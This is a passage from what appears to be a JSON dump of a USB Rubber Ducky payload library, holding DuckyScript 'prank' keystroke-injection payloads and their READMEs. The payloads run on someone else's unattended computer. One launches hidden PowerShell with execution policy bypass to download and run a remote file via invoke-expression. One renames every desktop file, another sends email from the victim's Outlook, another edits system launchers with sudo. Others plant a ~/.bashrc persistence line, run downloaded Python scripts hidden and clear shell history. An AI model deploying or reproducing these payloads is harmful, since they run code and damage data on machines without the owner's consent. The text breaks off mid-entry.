mouse the video will start playing full screen \n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Walk away\n* You can run the example snippet below and it will open up a video covering one of my other payloads\n```\npowershell -w h Add-Type -AssemblyName *m.W*s.F*s;$w=[Windows.Forms.Cursor];$p=$w::Position.X;while(1){if($w::Position.X-ne$p){break}else{Sleep 3}};saps https://youtu.be/sOLIdqpzrW4;sleep 3;$o=New-Object -ComObject WScript.Shell;$o.SendKeys('f')\n```\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://youtube.com/c/IamJakoby?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/I_Am_Jakoby\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/i_am_jakoby/\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width=\"48\" height=\"48\" alt=\"Golang\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<p align=\"center\">\n        <img src=\"https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg\" alt=\"Github Stats\" />\n</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-YT-Tripwire/YouTube-TripWire.txt",
    "content": "REM     Title: YouTube-TripWire\n\nREM     Author: I am Jakoby\n\nREM     Description: Plays any YouTube video after a mouse movement is detected\n\nREM     Target: Windows 10, 11\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n"
  },
  {
    "path": "payloads/library/prank/AUTOinCORRECT/payload.txt",
    "content": "REM Title: AUTOinCORRECT\nREM Author: the-jcksn\nREM Description: Creates a custom Microsoft Word Autocorrect rule, default sets rule to change \"the\" to \"teh\". Can be changed to any words you wish.\nREM Target: Windows 10 / Microsoft Word\nREM Version: 1.0\nREM Category: Prank\n\nDELAY 2000\nREM OPEN NEW MICROSOFT WORD DOCUMENT\nGUI r\nDELAY 200\nSTRING winword\nENTER\nDELAY 1000\nENTER\nDELAY 200\nREM EDIT AUTOCORRECT RULES\nALT q\nDELAY 300\nSTRING options spelling\nDELAY 500\nENTER\nDELAY 200\nTAB\nDELAY 200\nENTER\nDELAY 200\nREM AUTOCORRECT \"the\" TO \"teh\" ~~~ change these below to whatever words you want to add a rule for ~~~~~\nSTRING the\nDELAY 200\nTAB\nSTRING teh\nDELAY 200\nALT a\nDELAY 200\nREM SAVE AND EXIT\nENTER\nDELAY 200\nSHIFT TAB\nDELAY 200\nENTER\nDELAY 200\nALT F4\nDELAY 200\n"
  },
  {
    "path": "payloads/library/prank/A_Cagey_Takeover/payload.txt",
    "content": "REM Title: A_Cagey_Takeover\nREM Author: the-jcksn\nREM Description: Nicolas Cage themed Prank - Renames all files on desktop as \"nicholas-cage-1.takeover\", incrementing the digit. Then sets background image to nicholas cage breaking through the screen. Can be expanded to remane files in further directories if required.\nREM Target: Windows / Powershell\nREM Version: 1.0\nREM Category: Prank\n\nREM ~~~~~ TO DESTROY FURTHER FILENAMES: Copy everything from line 23 to 28, and paste in the space provided, changing the target directory name.\nREM ~~~~~ CAN RUN SCRIPT 'AS IS' (WITHOUT CHANGES) - Will just attack files on the desktop\nREM ~~~~~ Use responsibly and within the confines of the law. This script renames files AND extensions and can result in being unable to access files if you don't know which file was which. I accept no responsibility for any loss of files or any other consequences. Use at your own risk. \nDELAY 1000\nGUI r\nDELAY 200\nSTRING powershell\nENTER\nDELAY 200\nSTRING Invoke-WebRequest -Uri https://wallpapercave.com/wp/GVO9gKu.jpg -OutFile Desktop\\nickcage.jpg\nENTER\nDELAY 1000\n\nREM ~~~~~~~~~~ REPEAT THE BELOW LINES IF YOU WANT TO NICK TO TAKEOVER FURTHER DIRECTORIES, CHANGING \"cd Desktop\" TO THE DIRECTORY REQUIRED ~~~~~~~~~~\n\nSTRING cd Desktop\nENTER\nDELAY 200\nSTRING  dir | %{Rename-Item $_ -NewName (\"nicholas-cage-{0}.takeover\" -f $nr++)}\nENTER\nDELAY 200\n\nREM ~~~~~~~~~~ END OF LINES TO REPEAT ~~~~~~~~~~\n\nREM            SPACE TO PASTE FURTHER TAKEOVERS (YOU CAN DELETE THIS LINE IF DESIRED)\n\nREM ~~~~~~~~~~ BACK TO BUSINESS, DONT CHANGE ANYTHING BELOW THIS ~~~~~~~~~~\nSTRING exit\nENTER\nDELAY 200\nGUI r\nDELAY 200\nSTRING Desktop\nENTER\nDELAY 200\nCTRL f\nDELAY 500\nSTRING nickcage\nENTER\nDELAY 800\nTAB\nDELAY 200\nSPACE\nDELAY 200\nMENU\nDELAY 200\nSTRING b\nDELAY 200\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Alien Message From Computer/README.md",
    "content": "# Alien Message From Computer\n\nA script used to prank your friends with a script that simulate an Alien inside the computer.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends with a script that simulate an Alien inside the computer.\n\nOpen a PowerShell, download the Python script and execute it. The Python script will simulate the Alien using the Python library pyttsx3.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* ExecutionPolicy Bypass\n* Python\n\n### Settings\n\n* Nothing to setup, it is Plug-And-Play\n\n### FAQs\n\n- Why is the code in one line?\n  - In Python if TAB errors are made then execution is blocked so to avoid writing so many DuckyScript STRING elements I wrote everything in one line separating each command by a semicolon. However, the code can be viewed entirely in the script.py file and edited as desired.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Alien Message From Computer/payload.txt",
    "content": "\nREM ####################################################\nREM #                                                  |\nREM # Title        : Alien Message From Computer       |\nREM # Author       : Aleff                             |\nREM # Version      : 1.0                               |\nREM # Category     : Prank                             |\nREM # Target       : Windows 10/11                     |\nREM #                                                  |\nREM ####################################################\n\n\nREM Plug-And-Play <3\n\nREM Requirements:\nREM     - Internet Connection\nREM     - ExecutionPolicy Bypass\nREM     - Python\n\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 1500\n\nREM Create the file\nSTRING New-Item -Path \".\\script.py\" -ItemType \"file\" -Force;\n\nREM Write the code into the file\nSTRING Set-Content -Path \".\\script.py\" -Value \"import os; from time import sleep; os.system('pip install pyttsx3'); import pyttsx3; sleep(60); alien_message = 'Greetings to the inhabitants of planet Earth. I am an alien from a distant planet named Hak5 and I have taken control of this computer to communicate with you. I want to announce to you that in exactly one year\\'s time our invasion fleet will arrive on your planet because we have heard that you make very good fries. Resistance is useless. Your only option is to give us all the fries you have and to produce as many as possible to satiate us. Your planet will become a potato chip colony and you will produce forever. Get ready, earthlings. Our hunger is near.'; motore = pyttsx3.init(); voce_alienea = motore.getProperty('voices')[1]; motore.setProperty('voice', voce_alienea.id); motore.setProperty('pitch', 70); motore.say(alien_message); motore.runAndWait();\"\nENTER\nDELAY 1000\n\nREM Execute the Python script\nSTRING Start-Process python.exe -ArgumentList \"script.py\" -WindowStyle Hidden\nENTER\n\nREM Close the PowerShell\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Alien Message From Computer/script.py",
    "content": "import os\nfrom time import sleep\ntry:\n    import pyttsx3\nexcept:\n    os.system(\"pip install pyttsx3\")\n    import pyttsx3\n        \n\n# How much time you want to wait before speak\nsleep(60)\n\nalien_message = 'Greetings to the inhabitants of planet Earth. I am an alien from a distant planet named Hak5 and I have taken control of this computer to communicate with you. I want to announce to you that in exactly one year\\'s time our invasion fleet will arrive on your planet because we have heard that you make very good fries. Resistance is useless. Your only option is to give us all the fries you have and to produce as many as possible to satiate us. Your planet will become a potato chip colony and you will produce forever. Get ready, earthlings. Our hunger is near.'\n\nmotore = pyttsx3.init()\n\n# Set alien voice\nvoce_alienea = motore.getProperty('voices')[1]\nmotore.setProperty('voice', voce_alienea.id)\n\n# Set the pitch property to make the voice more alien-like\nmotore.setProperty('pitch', 70)\n\nmotore.say(alien_message)\nmotore.runAndWait()"
  },
  {
    "path": "payloads/library/prank/AllOperatingSystemRickroll/all",
    "content": "REM made by J0K3RS-L4UGH\nREM Basically it enters chrome and rickrolls with no ads\nGUI\nDELAY 2000\nSTRING Chrome\nDELAY 2000\nENTER\nDELAY 2000\nALT d\nDELAY 2000\nSTRING https://www.youtube.com/watch?v=xvFZjo5PgG0\nENTER\n"
  },
  {
    "path": "payloads/library/prank/Always-Minimize/README.md",
    "content": "# Always Minimize\nMinimizing all opened window within specific time/delay. It's a **loop** process, that means this script won't end until you stop it.\n\n## Config\nIf you want to change the delay, you can change here :\n\n![Delay](https://raw.githubusercontent.com/LyQuid12/usbrubberducky-payloads/master/payloads/library/prank/Always-Minimize/images/delay.PNG)\n\nDefault is 2 seconds. 1 Second = 1000 Miliseconds.\nIf you set a delay less than 1 second, you literally a bastard :]\n\n## How to stop this?\nIt's simple but hard to do. There's 2 ways to stop/kill this process.\n\n> First way\n\n- Open task manager using <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>ESC</kbd>\n- Find `Microsoft (r) Windows Based Script`\n\n![wscript](https://raw.githubusercontent.com/LyQuid12/usbrubberducky-payloads/master/payloads/library/prank/Always-Minimize/images/taskmngr.PNG)\n\n- End the process\n\n> Second way\n\n- Open Command Prompt using <kbd>⊞</kbd>+<kbd>r</kbd> (Windows+r)\n- Type `cmd`\n- Run this command\n```\ntaskkill /F /IM wscript.exe /T\n```\n- Enter\n"
  },
  {
    "path": "payloads/library/prank/Always-Minimize/payload.txt",
    "content": "REM\t=============================================================================================================\r\nREM \tTitle: Always Minimize\r\nREM \tAuthor: LyQuid\r\nREM \tDescription: Minimizing all windows within specific time\r\nREM \tTarget: Windows 10\r\nREM \tCategory: Prank\r\nREM\tYou can change the delay when the windows to minimize, 1 Second = 1000 Milliseconds. Change on \"WScript.Sleep\"\r\nREM\t==============================================================================================================\r\nDELAY 2000\r\nGUI r\r\nDELAY 200\r\nSTRING cmd\r\nENTER\r\nDELAY 500\r\nREM \t= Make sure there is no file named minimize.vbs =\r\nSTRING del %tmp%\\minimze.vbs\r\nENTER\r\nREM \t= Creating script =\r\nSTRING cd %tmp% && copy con minimze.vbs\r\nENTER\r\nSTRING do\r\nENTER\r\nSTRING set oShellApp = CreateObject(\"Shell.Application\")\r\nENTER\r\nSTRING oShellApp.MinimizeAll\r\nENTER\r\nSTRING WScript.Sleep 2000\r\nENTER\r\nSTRING loop\r\nENTER\r\nCTRL z\r\nENTER\r\nREM \t= Run Script & exit cmd =\r\nSTRING start minimze.vbs && exit\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/prank/Automailer/payload.txt",
    "content": "REM Title:          Automailer\nREM Author:\t    Ratcode404(.github.io)\nREM Description:    Snaps screen, opens outlook, sends a message to various people with pre-configured text, adds screenshot and opens up a muted 1 hour rickroll youtube video once done.\n\nREM Default Delay (350 should be mid-speed)\nDEFAULT_DELAY 350\n\nREM Take screenshot\nSHIFT WINDOWS S\nDELAY 200\nTAB\nTAB\nTAB\nTAB\nENTER\nDELAY 300\n\nREM Open Outlook (Change E-Mail and text)\nGUI r\nDELAY 100\nSTRING outlook.exe /c ipm.note /m ratcode404@notarealmail.com?v=1&cc=ratcode405@notarealmail.com\nENTER\nDELAY 500\nSTRING Subject goes here.\nTAB\nSTRING Hello Ratcode!\nENTER \nSTRING I like to leave my device unlocked and would want to invite you to some free dinner tonight.\nENTER\nSTRING xoxo\n\nREM Paste Screenshot in Mail (CTRL V)\nSHIFT INSERT\nDELAY 200\n\nREM Send Mail\nALT S\nENTER\nDELAY 200\n\nREM Rickroll, Mute and Fullscreen (Can adjust link obviously)\nGUI r\nDELAY 100\nSTRING https://www.youtube.com/watch?v=zL19uMsnpSU\nENTER\nDELAY 300\nM\nDELAY 200\nF\n"
  },
  {
    "path": "payloads/library/prank/Change Wallpaper With Screenshot/README.md",
    "content": "# Change Wallpaper With Screenshot\n\nA script used to prank friends by editing their wallpaper with a screenshot making them think that the computer somehow does what it wants. LOL\n\n**Category**: Prank\n\n## Description\n\nA script used to prank friends by editing their wallpaper with a screenshot making them think that the computer somehow does what it wants.\n\nOpen a PowerShell, download the Python script and execute it. The Python script will make a screenshot that will be set as wallpaper on the computer where is runned.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* ExecutionPolicy Bypass\n* Python\n\n### Settings\n\n- Setup your Python script link in the payload.txt file\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Change Wallpaper With Screenshot/payload.txt",
    "content": "REM ######################################################\nREM #                                                    |\nREM # Title        : Change Wallpaper With Screenshot    |\nREM # Author       : Aleff                               |\nREM # Version      : 1.0                                 |\nREM # Category     : Prank                               |\nREM # Target       : Windows 10-11                       |\nREM #                                                    |\nREM ######################################################\n\n\nREM Requirements:\nREM     - Internet Connection\nREM     - ExecutionPolicy Bypass\nREM     - Python\n\n\nREM REQUIRED - Set your Python script link\nDEFINE SCRIPT-PY-LINK example.com\n\n\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\n\n\nSTRING Invoke-WebRequest -Uri \"\nSTRING SCRIPT-PY-LINK\nSTRING \" -OutFile \"script.py\"\nENTER\nDELAY 2000\n\nSTRINGLN Start-Process python.exe -ArgumentList \"script.py\" -WindowStyle Hidden\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/prank/Change Wallpaper With Screenshot/script.py",
    "content": "import os\n\ntry:\n    import pyautogui\nexcept:\n    os.system(\"pip install pyautogui\")\n    import pyautogui\n\nfrom time import sleep\n\nfrom PIL import Image\nimport ctypes\n\n\n# Edit this time as you want...\nsleep(30) \nscreenshot = pyautogui.screenshot()\nscreenshot.save(\"screenshot.png\")\n\nimg = Image.open('screenshot.png')\n\n# Resize the screenshot as the desktop resolution\nuser32 = ctypes.windll.user32\nscreensize = user32.GetSystemMetrics(0), user32.GetSystemMetrics(1)\nimg = img.resize(screensize)\n\n# Set the new wallpaper\nimage_path = os.path.abspath('screenshot.png')\nctypes.windll.user32.SystemParametersInfoW(20, 0, image_path, 0)"
  },
  {
    "path": "payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md",
    "content": "# Change Desktop Wallpaper - Linux ✅\n\nA script used to prank your friends changing their desktop wallpaper.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends changing their desktop wallpaper.\n\nOpens a shell, download the image, define the local image path, run a command KDE BASED that will replace the desktop wallpaper with the local image path, then delete the image downloaded, clear the history and close the shell.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Linux KDE\n\n### Settings\n\n- Image link\n- Local image path\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt",
    "content": "REM ###########################################\nREM #                                         |\nREM # Title        : Change Desktop Wallpaper |\nREM # Author       : Aleff                    |\nREM # Version      : 1.0                      |\nREM # Category     : Prank                    |\nREM # Target       : Linux (KDE based)        |\nREM #                                         |\nREM ###########################################\n\nREM Requirements:\nREM     - Internet Connection\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\nREM Replace 'example.com/IMAGE_NAME' with your image link\nDEFINE IMAGE_LINK example.com/IMAGE_NAME\nSTRING wget \nSTRING IMAGE_LINK\nENTER\n\nREM Replace example.jpg with the image path, for example /home/USERNAME/example.jpg\nDEFINE IMAGE_PATH=\"file://example.jpg\"\n\nREM It depends by the Internet Connection\nDELAY 2000\n\nSTRING qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript 'var allDesktops = desktops();for (i=0;i<allDesktops.length;i++) {d = allDesktops[i]; d.wallpaperPlugin = \"org.kde.image\";d.currentConfigGroup = Array(\"Wallpaper\", \"org.kde.image\", \"General\");d.writeConfig(\"Image\", \"\nSTRING IMAGE_PATH\nSTRING \")}'\nENTER\nDELAY 1000\n\nSTRING rm -rf \nSTRING IMAGE_PATH\nSTRING ;history -c; exit;\nENTER\n"
  },
  {
    "path": "payloads/library/prank/Change_The_App_That_Will_Be_Runned/README.md",
    "content": "# Change The App That Will Be Runned\n\nA script used to prank your friends editing the deafault exec operation of desktop files running other app of wich is clicked confusing the user.\n\n**Category**: Prank\n\n![GIF](Change_The_App_That_Will_Be_Runned.gif)\n\n## Description\n\nA script used to prank your friends editing the deafault exec operation of desktop files running other app of wich is clicked confusing the user.\n\nThe script will run a shell in wich it will mix 2 application\n\n## Getting Started\n\n### Dependencies\n\n* sudo permissions\n* Original desktop file names and exec commands\n* The apps must be installed in the target\n\n### Settings\n\n- Set the desktop file name, i.e. for Signal it is `/usr/share/applications/signal-desktop` and the exec command is `/opt/Signal/signal-desktop --no-sandbox %U` \n```DuckyScript\nDEFINE ORIGINAL_DESKTOP_FILE_NAME_1 example\nDEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_1 example\n\nDEFINE ORIGINAL_DESKTOP_FILE_NAME_2 example\nDEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_2 example\n```\n\n### Example\n\n- Config\n```DuckyScript\n\nDEFINE ORIGINAL_DESKTOP_FILE_NAME_1 /usr/share/applications/code-oss.desktop\nDEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_1 /usr/lib/code-oss/code-oss --unity-launch %F\n\nDEFINE ORIGINAL_DESKTOP_FILE_NAME_2 firefox-esr.desktop\nDEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_2 /usr/lib/firefox-esr/firefox-esr %u\n```\n\n- Content of ORIGINAL_DESKTOP_FILE_NAME_1\n\n```DuckyScript\n[Desktop Entry]\nExec=/usr/lib/code-oss/code-oss --unity-launch %F\n...\n```\n\n- Content of ORIGINAL_DESKTOP_FILE_NAME_2\n\n```DuckyScript\n[Desktop Entry]\nExec=Exec=/usr/lib/firefox-esr/firefox-esr %u\n...\n```\n\n- Result\n```Shell\n$ cat /usr/share/applications/code-oss.desktop\n[Desktop Entry]\nExec=Exec=/usr/lib/firefox-esr/firefox-esr %u\n# ...\n\n$ cat /usr/share/applications/firefox-esr.desktop\n[Desktop Entry]\nExec=Exec=/usr/lib/code-oss/code-oss --unity-launch %F\n# ...\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Change_The_App_That_Will_Be_Runned/payload.txt",
    "content": "REM #######################################################\nREM #                                                     |\nREM # Title        : Change The App That Will Be Runned   |\nREM # Author       : Aleff                                |\nREM # Version      : 1.0                                  |\nREM # Category     : Prank                                |\nREM # Target       : GNU/Linux (Debian based tested)      |\nREM #                                                     |\nREM #######################################################\n\n\nREM Requirements:\nREM     - sudo permissions\n\n\nREM You must know the original desktop name file, if you don't know it you can rich this information download the app on you system and going to /usr/share/applications/ searching this one app, i.e. the desktop file name of Signal application is signal-desktop.desktop, so in this case you should put signal-desktop.desktop\nDEFINE ORIGINAL_DESKTOP_FILE_NAME_1 example\nDEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_1 example\nDEFINE ORIGINAL_DESKTOP_FILE_NAME_2 example\nDEFINE ORIGINAL_DESKTOP_EXEC_COMMAND_2 example\n\nREM sudo permissions needed\nDEFINE SUDO example\n\n\nREM Open a shell\nDELAY 2000\nCTRL-ALT t\nDELAY 1000\n\nSTRING sudo sed -i '/^Exec=/s/.*/\nSTRING ORIGINAL_DESKTOP_EXEC_COMMAND_2\nSTRING /' \nSTRINGLN ORIGINAL_DESKTOP_FILE_NAME_1\nDELAY 500\n\nSTRING SUDO\nENTER\nDELAY 4000\n\nSTRING sudo sed -i '/^Exec=/s/.*/\nSTRING ORIGINAL_DESKTOP_EXEC_COMMAND_1\nSTRING /' \nSTRINGLN ORIGINAL_DESKTOP_FILE_NAME_2\nDELAY 1000\nALT f4\n"
  },
  {
    "path": "payloads/library/prank/Continuos Print In Terminal/README.md",
    "content": "# Continuos Print In Terminal\n\nPlug And Play\n\nA script used to prank your friends with a terminal print.\n\n**Category**: Prank\n\n## Description\n\nA script used to prank your friends with a terminal print.\n\nOpen a PowerShell, download the Python script and execute it. The Python script will print in output (everytime with a different color) the phrase \"Your computer is infected!\".\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* ExecutionPolicy Bypass\n* Python\n\n### Executing program\n\n* Plug in your device\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/prank/Continuos Print In Terminal/payload.txt",
    "content": "REM ####################################################\nREM #                                                  |\nREM # Title        : Continuos Print In Terminal       |\nREM # Author       : Aleff                             |\nREM # Version      : 1.0                               |\nREM # Category     : Prank                             |\nREM # Target       : Windows 10/11                     |\nREM #                                                  |\nREM ####################################################\n\n\nREM Plug And Play <3\n\nREM Requirements:\nREM     - Internet Connection\nREM     - ExecutionPolicy Bypass\nREM     - Python\n\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell\nENTER\nDELAY 2000\n\nSTRINGLN (New-Object -ComObject WScript.Shell).SendKeys(\"{F11}\")\nDELAY 500\n\nSTRINGLN New-Item -Path \".\\script.py\" -ItemType \"file\" -Force\nDELAY 500\n\nSTRINGLN Set-Content -Path \".\\script.py\" -Value \"import os`nos.system('pip install colorama')`nimport colorama`nimport random`nfrom time import sleep`ncolorama.init()`nwhile True:`n`tcolor = random.choice([colorama.Fore.RED, colorama.Fore.GREEN, colorama.Fore.YELLOW])`n`tprint(color + 'Your computer is infected!')`n`tsleep(0.1)\"\nDELAY 500\n\nSTRINGLN clear; python .\\script.py;\n"
  },
  {
    "path": "payloads/library/prank/Continuos Print In Terminal/script.py",
    "content": "import os\nos.system(\"pip install colorama\")\nimport colorama\nimport random\nfrom time import sleep\n\n\ncolorama.init()\n\nwhile True:\n    color = random.choice([colorama.Fore.RED, colorama.Fore.GREEN, colorama.Fore.YELLOW])\n    print(color + \"Your computer is infected!\")\n    sleep(0.1) \n"
  },
  {
    "path": "payloads/library/prank/Deshellerator/payload.txt",
    "content": "REM TITLE: Deshellerator\nREM AUTHOR: Korben, Darren\nREM VERSION: 1.0\n\nREM DESCRIPTION: \"Slow down there buckaroo\" - Shell Decelerator\nREM Every time a shell is opened (that sources ~/.bashrc), opening the next\nREM shell will get ever so slightly slower...\n\nREM TARGETS: Linux - tested on ubuntu\nREM REQUIREMENTS: DuckyScript 3, PayloadStudio >1.3\n\nDEFINE #TARGET_FILE ~/.bashrc\nDEFINE #DECELERATION_RATE 0.5\n\nREM Delay used for waiting for GUI elements to spawn/react\nREM Increase to make more compatible with all systems\nDEFINE #UI_DELAY 250\n\nLED_OFF\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.0\n\n    REM Windows fully passive OS Detection and passive Detect Ready\n    REM Includes its own passive detect ready. Does not require\n    REM additional extensions\n\n    REM USAGE:\n    REM Extension runs inline (here)\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n    REM boot delay\n    REM $_OS will be set to WINDOWS or NOT_WINDOWS\n\n    REM CONFIGURATION:\n    DEFINE MAX_WAIT 150\n    DEFINE CHECK_INTERVAL 20\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE NOT_WINDOWS 7\n\n    VAR $MAX_TRIES = MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    ELSE\n        $_OS = NOT_WINDOWS\n    END_IF\n\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM IF ($_OS == WINDOWS) THEN\n    REM     STRING HELLO WINDOWS!\n    REM ELSE\n    REM     STRING HELLO WORLD!\n    REM END_IF\nEND_EXTENSION\n\nREM Inapplicable target guard clause\nIF ($_OS == WINDOWS) THEN\n    ATTACKMODE OFF\n    LED_R\n    STOP_PAYLOAD\nEND_IF\n\nCTRL ALT t\nDELAY #UI_DELAY\nSTRINGLN echo \"echo 'sleep #DECELERATION_RATE'>>#TARGET_FILE\">>#TARGET_FILE;exit\nLED_G\n"
  },
  {
    "path": "payloads/library/prank/Digital_Rain/payload.txt",
    "content": "REM Title: Digital Rain \nREM Author:\tAngelina Tsuboi\nREM Description: Opens a terminal window and produces a digital rain effect inspired by the Matrix using cmatrix\nREM Target:\tmacOS 11.0+ with Homebrew\nREM Version:\t1.0\nREM Category:\tPrank\nREM Source: https://github.com/angelina-tsuboi/Digital_Rain_Payload\n\nGUI SPACE\nDELAY 100\nSTRING terminal.app\nDELAY 100\nENTER\nDELAY 1000\nCTRL c\nDELAY 100\nSTRING cd ~\nDELAY 100\nENTER\nDELAY 100\nGUI CTRL f\nDELAY 700\nSTRING brew install automake cmatrix\nDELAY 100\nENTER \nDELAY 20000\nSTRING cmatrix\nDELAY 100\nENTER"
  },
  {
    "path": "payloads/library/prank/EternalLock/payload.txt",
